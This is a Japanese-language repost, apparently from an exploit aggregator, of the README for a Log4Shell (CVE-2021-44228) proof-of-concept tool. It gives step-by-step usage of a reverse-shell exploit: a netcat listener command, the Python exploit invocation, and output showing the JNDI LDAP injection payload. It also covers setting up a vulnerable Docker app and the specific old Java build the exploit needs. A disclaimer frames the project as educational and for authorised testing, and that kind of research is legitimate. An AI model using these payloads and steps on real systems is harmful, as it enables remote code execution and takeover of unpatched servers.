## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OCASTEL-LOG4J-SHELL-POC
# log4j-shell-poc
最近発見された CVE-2021-44228 脆弱性の Proof-Of-Concept です。
最近、log4j に新たな脆弱性が見つかりました。log4j は Java のロギングライブラリで、elasticsearch や minecraft など、非常に広く使われています。
このリポジトリには、脆弱性のあるサンプルアプリケーションと、その Proof-of-Concept (POC) エクスプロイトを用意しました。
## A video showing the exploitation process
脆弱性のある Web アプリ:
https://user-images.githubusercontent.com/87979263/146113359-20663eaa-555d-4d60-828d-a7f769ebd266.mp4
Ghidra (旧スクリプト):
https://user-images.githubusercontent.com/87979263/145728478-b4686da9-17d0-4511-be74-c6e6fff97740.mp4
Minecraft PoC (旧スクリプト):
https://user-images.githubusercontent.com/87979263/145681727-2bfd9884-a3e6-45dd-92e2-a624f29a8863.mp4
## Proof-of-concept (POC)
PoC として、そのプロセスを自動化する Python ファイルを作成しました。
#### Requirements:
root@kitploit:~
pip install -r requirements.txt
#### Usage:
* Start a netcat listener to accept reverse shell connection.
root@kitploit:~
nc -lvnp 9001
* Launch the exploit.
**注:** これを動作させるには、展開した Java アーカイブの名前が `jdk1.8.0_20` であり、同じディレクトリにある必要があります。
root@kitploit:~
$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
このスクリプトは、HTTP サーバーと LDAP サーバーをセットアップし、脆弱性のあるパラメータに貼り付けるペイロードも作成します。この後、すべてがうまくいけば、lport でシェルを取得できるはずです。
## Our vulnerable application
脆弱性のある Web アプリケーションを備えた Dockerfile を追加しました。以下の手順で使用できます。
root@kitploit:~
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
起動したら、localhost:8080 でアクセスできます。
プロジェクトをさらに開発したい場合は、開発に使用した Intellij IDE を使用できます。また、設定ファイルを含む `.idea` フォルダも同梱してあり、作業が少し楽になります。他の IDE でもおそらく使用できるでしょう。
## Getting the Java version.
エクスプロイトを作成した時点では、どの Java バージョンが動作し、どのバージョンが動作しないのか正確にはわからなかったため、Java 8 の初期バージョンのひとつである `java-8u20` を使用することにしました。
ありがたいことに、Oracle は過去のすべての Java バージョンのアーカイブを提供しています:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
`8u20` までスクロールし、お使いのオペレーティングシステムとハードウェアに適したファイルをダウンロードしてください。 
**注:** パッケージをダウンロードするにはアカウントを作成する必要があります。
アーカイブをダウンロードして展開すると、`jdk1.8.0_20/bin` に `java` と関連するいくつかのバイナリがあります。
**注:** 動作させるには、jdk フォルダをこのリポジトリ内に同じ名前で展開してください。
root@kitploit:~
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
## Disclaimer
このリポジトリは、CVE-2021-44228 に対するワンクリックエクスプロイトを意図したものではありません。このプロジェクトの目的は、この素晴らしい脆弱性について学び、自分のアプリケーションをテストする手助けをすることです(ただし、この目的にはより適したアプリケーションもあります。例: https://log4shell.tools/)。
私たちのチームは、このエクスプロイトの悪意のある活動への使用を支援したり推奨したりしません。そのため、支援を求める場合には、対象サービスを所有しているか、そのサービスに対するペネトレーションテストの許可を持っていることを証明するよう求められることがあります。